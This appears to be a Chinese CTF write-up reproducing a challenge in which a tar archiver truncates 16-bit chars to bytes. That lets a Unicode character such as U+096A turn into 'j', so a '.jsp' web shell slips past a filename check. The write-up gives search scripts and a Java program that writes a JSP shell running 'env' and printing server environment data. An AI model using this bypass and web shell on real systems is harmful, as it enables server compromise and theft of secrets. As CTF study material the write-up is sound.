比赛的时候没做出来,现在来复现一下。
在TarHeader类中有两个方法,负责对文件名进行解析。
这个是压缩时的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) { 	int i;
  	for (i = 0; i < length && i < name.length(); ++i) { 		buf[offset + i] = (byte) name.charAt(i); 	}
  	for (; i < length; ++i) { 		buf[offset + i] = 0; 	}
  	return offset + length; }
  | 
 
这个是解压时的方法:
1 2 3 4 5 6 7 8 9 10 11 12
   | public static StringBuffer parseName(byte[] header, int offset, int length) {     StringBuffer result = new StringBuffer(length);
      int end = offset + length;     for (int i = offset; i < end; ++i) {        if (header[i] == 0)           break;        result.append((char) header[i]);     }
      return result; }
  | 
 
这里重点关注一下压缩时的方法。可以看到,这里对文件名name,进行了 (byte) name.charAt(i) 操作。name.charAt()得到是char类型数据,占16位,默认实现UTF-16,是Unicode码点序列。而byte类型只占8位。这就导致name中的中文在转化成byte类型时,会丢失高位部分。因此,现在要做的就是找到一个Unicode字符,其丢失高位后与jsp中的任意一个字符相同。
这里以 j 为例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | package solution;
  public class Test {     public static void main(String[] args) {         StringBuffer name = new StringBuffer();         name.append("你abc123");         char c = name.charAt(0);         System.out.println(c);         System.out.println((byte) c);         System.out.println((byte) 'j');         unicodeSearch();
      }
      public static void unicodeSearch(){         int count = 0;         for (int codePoint = Character.MIN_CODE_POINT; codePoint <= Character.MAX_CODE_POINT; codePoint++) {             if (!Character.isDigit(codePoint)) {                 continue;             }             String s = new String(Character.toChars(codePoint));             char c = s.charAt(0);             if ((byte) c == 106){                 System.out.println(String.format("%c: U+%04X%n", c, codePoint));             }         }     } }
   | 
 
python脚本也行:
1 2 3 4 5 6 7 8 9
   |  if __name__ == "__main__":     for i in range(0x0000, 0xFFFF+1):         hex_str = format(i, "04x")         last2 = hex_str[-2:]         char_old = chr(int(hex_str, 16))         char_new = chr(int(last2, 16))         if char_new == 'j':             print(f"{char_old}丢失高位后变成:{char_new}")
 
  | 
 
找到一些能用的字符
Ū(\u016a)丢失高位后变成:j
ɪ(\u026a)丢失高位后变成:j
ͪ(\u036a)丢失高位后变成:j
Ѫ(\u046a)丢失高位后变成:j
ժ(\u056a)丢失高位后变成:j
٪(\u066a)丢失高位后变成:j
ݪ(\u076a)丢失高位后变成:j
ࡪ(\u086a)丢失高位后变成:j
४(\u096a)丢失高位后变成:j
创建jsp马即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | package solution;
  import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException;
  public class WriteJsp {     public static void main(String[] args) throws IOException {         FileOutputStream fos = new FileOutputStream("shell.\u096Asp");         fos.write(("<%@ page import=\"java.io.InputStream\" %>\n" +                 "<%@ page import=\"java.util.Scanner\" %><%\n" +                 "    Process env = Runtime.getRuntime().exec(\"env\");\n" +                 "    InputStream inputStream = env.getInputStream();\n" +                 "    Scanner scanner = new Scanner(inputStream).useDelimiter(\"\\\\A\");\n" +                 "    String s = scanner.hasNext() ? scanner.next() : \"\";\n" +                 "    out.print(s);\n" +                 "%>").getBytes());     } }
   |